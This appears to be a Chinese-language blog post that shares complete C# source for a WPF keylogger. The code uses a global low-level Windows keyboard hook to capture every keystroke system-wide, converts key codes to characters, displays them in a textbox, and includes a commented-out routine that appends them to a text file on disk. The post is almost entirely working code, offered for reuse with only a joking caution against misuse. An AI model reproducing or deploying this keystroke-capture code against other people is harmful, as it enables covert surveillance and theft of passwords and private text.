wpf键盘记录器（键盘钩子）
很简单的一个wpf键盘记录器
这个程序我一样用了全局勾子，之前用的都是winform上运行了，前一段时间
在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox，
用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事
有三个主要的类
/// <summary> /// Raw keyevent handler. /// </summary> /// <param name="sender">sender</param> /// <param name="args">raw keyevent arguments</param> public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args); #region WINAPI Helper class /// <summary> /// Winapi Key interception helper class. /// </summary> internal static class InterceptKeys { public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam); public static int WH_KEYBOARD_LL = 13; /// <summary> /// Key event /// </summary> public enum KeyEvent : int { /// <summary> /// Key down /// </summary> WM_KEYDOWN = 256, /// <summary> /// Key up /// </summary> WM_KEYUP = 257, /// <summary> /// System key up /// </summary> WM_SYSKEYUP = 261, /// <summary> /// System key down /// </summary> WM_SYSKEYDOWN = 260 } public static IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr GetModuleHandle(string lpModuleName); #region Convert VKCode to string // Note: Sometimes single VKCode represents multiple chars, thus string. // E.g. typing "^1" (notice that when pressing 1 the both characters appear, // because of this behavior, "^" is called dead key) [DllImport("user32.dll")] private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); [DllImport("user32.dll")] private static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport("user32.dll")] private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl); [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)] private static extern IntPtr GetKeyboardLayout(uint dwLayout); [DllImport("User32.dll")] private static extern IntPtr GetForegroundWindow(); [DllImport("User32.dll")] private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport("user32.dll")] private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")] private static extern uint GetCurrentThreadId(); private static uint lastVKCode = 0; private static uint lastScanCode = 0; private static byte[] lastKeyState = new byte[255]; private static bool lastIsDead = false; /// <summary> /// Convert VKCode to Unicode. /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks> /// </summary> /// <param name="VKCode">VKCode</param> /// <param name="isKeyDown">Is the key down event?</param> /// <returns>String representing single unicode character.</returns> public static string VKCodeToString(uint VKCode, bool isKeyDown) { // ToUnicodeEx needs StringBuilder, it populates that during execution. System.Text.StringBuilder sbString = new System.Text.StringBuilder(5); byte[] bKeyState = new byte[255]; bool bKeyStateStatus; bool isDead = false; // Gets the current windows window handle, threadID, processID IntPtr currentHWnd = GetForegroundWindow(); uint currentProcessID; uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID); // This programs Thread ID uint thisProgramThreadId = GetCurrentThreadId(); // Attach to active thread so we can get that keyboard state if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true)) { // Current state of the modifiers in keyboard bKeyStateStatus = GetKeyboardState(bKeyState); // Detach AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false); } else { // Could not attach, perhaps it is this process? bKeyStateStatus = GetKeyboardState(bKeyState); } // On failure we return empty string. if (!bKeyStateStatus) return ""; // Gets the layout of keyboard IntPtr HKL = GetKeyboardLayout(currentWindowThreadID); // Maps the virtual keycode uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL); // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. if (!isKeyDown) return ""; // Converts the VKCode to unicode int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL); string ret = ""; switch (relevantKeyCountInBuffer) { // Dead keys (^,`...) case -1: isDead = true; // We must clear the buffer because ToUnicodeEx messed it up, see below. ClearKeyboardBuffer(VKCode, lScanCode, HKL); break; case 0: break; // Single character in buffer case 1: ret = sbString[0].ToString(); break; // Two or more (only two of them is relevant) case 2: default: ret = sbString.ToString().Substring(0, 2); break; } // We inject the last dead key back, since ToUnicodeEx removed it. // More about this peculiar behavior see e.g: // http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html // http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx // http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx if (lastVKCode != 0 && lastIsDead) { System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5); ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL); lastVKCode = 0; return ret; } // Save these lastScanCode = lScanCode; lastVKCode = VKCode; lastIsDead = isDead; lastKeyState = (byte[])bKeyState.Clone(); return ret; } private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl) { System.Text.StringBuilder sb = new System.Text.StringBuilder(10); int rc; do { byte[] lpKeyStateNull = new Byte[255]; rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl); } while (rc < 0); } #endregion Convert VKCode to string } #endregion WINAPI Helper class |
public class KeyboardListener : IDisposable { /// <summary> /// Creates global keyboard listener. /// </summary> public KeyboardListener() { // Dispatcher thread handling the KeyDown/KeyUp events. this.dispatcher = Dispatcher.CurrentDispatcher; // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc; // Set the hook hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc); // Assign the asynchronous callback event hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync); } private Dispatcher dispatcher; /// <summary> /// Destroys global keyboard listener. /// </summary> ~KeyboardListener() { Dispose(); } /// <summary> /// Fired when any of the keys is pressed down. /// </summary> public event RawKeyEventHandler KeyDown; /// <summary> /// Fired when any of the keys is released. /// </summary> public event RawKeyEventHandler KeyUp; #region Inner workings /// <summary> /// Hook ID /// </summary> private IntPtr hookId = IntPtr.Zero; /// <summary> /// Asynchronous callback hook. /// </summary> /// <param name="character">Character</param> /// <param name="keyEvent">Keyboard event</param> /// <param name="vkCode">VKCode</param> private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character); /// <summary> /// Actual callback hook. /// /// <remarks>Calls asynchronously the asyncCallback.</remarks> /// </summary> /// <param name="nCode"></param> /// <param name="wParam"></param> /// <param name="lParam"></param> /// <returns></returns> [MethodImpl(MethodImplOptions.NoInlining)] private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam) { string chars = ""; if (nCode >= 0) if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP) { // Captures the character(s) pressed only on WM_KEYDOWN chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam), (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN)); hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null); } return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam); } /// <summary> /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. /// </summary> private KeyboardCallbackAsync hookedKeyboardCallbackAsync; /// <summary> /// Contains the hooked callback in runtime. /// </summary> private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc; /// <summary> /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. /// </summary> /// <param name="keyEvent">Keyboard event</param> /// <param name="vkCode">VKCode</param> /// <param name="character">Character as string.</param> private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character) { switch (keyEvent) { // KeyDown events case InterceptKeys.KeyEvent.WM_KEYDOWN: if (KeyDown != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character)); break; case InterceptKeys.KeyEvent.WM_SYSKEYDOWN: if (KeyDown != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character)); break; // KeyUp events case InterceptKeys.KeyEvent.WM_KEYUP: if (KeyUp != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character)); break; case InterceptKeys.KeyEvent.WM_SYSKEYUP: if (KeyUp != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character)); break; default: break; } } #endregion Inner workings #region IDisposable Members /// <summary> /// Disposes the hook. /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks> /// </summary> public void Dispose() { InterceptKeys.UnhookWindowsHookEx(hookId); } #endregion IDisposable Members } |
/// <summary> /// Raw KeyEvent arguments. /// </summary> public class RawKeyEventArgs : EventArgs { /// <summary> /// VKCode of the key. /// </summary> public int VKCode; /// <summary> /// WPF Key of the key. /// </summary> public Key Key; /// <summary> /// Is the hitted key system key. /// </summary> public bool IsSysKey; /// <summary> /// Convert to string. /// </summary> /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns> public override string ToString() { return Character; } /// <summary> /// Unicode character of key pressed. /// </summary> public string Character; /// <summary> /// Create raw keyevent arguments. /// </summary> /// <param name="VKCode"></param> /// <param name="isSysKey"></param> /// <param name="Character">Character</param> public RawKeyEventArgs(int VKCode, bool isSysKey, string Character) { this.VKCode = VKCode; this.IsSysKey = isSysKey; this.Character = Character; this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode); } } |
codebehind
KeyboardListener _KeyListener = new KeyboardListener(); bool _isRuning = false; public MainWindow() { InitializeComponent(); this.Loaded += Window_Loaded; } public void BeginListen(object sender, RoutedEventArgs e) { _isRuning = true; } public void StopListen(object sender, RoutedEventArgs e) { _isRuning = false; } private void Window_Loaded(object sender, RoutedEventArgs e) { _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown); } StringBuilder _sb = new StringBuilder(); private void KListener_KeyDown(object sender, RawKeyEventArgs args) { if (!_isRuning) return; tb_keyText.Text += args.ToString(); //if (args.Key == Key.Enter) //{ // Write(_sb.ToString()); // _sb.Clear(); //} //else //{ // _sb.Append(args.ToString()); //} //Console.WriteLine(args.ToString()); } private void Write(string keyEvents) { try { StreamWriter sw = new StreamWriter("D:/keyReport.txt", true); sw.WriteLine(keyEvents); sw.Close(); } catch (Exception Exception) { } } private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e) { _KeyListener.Dispose(); } |
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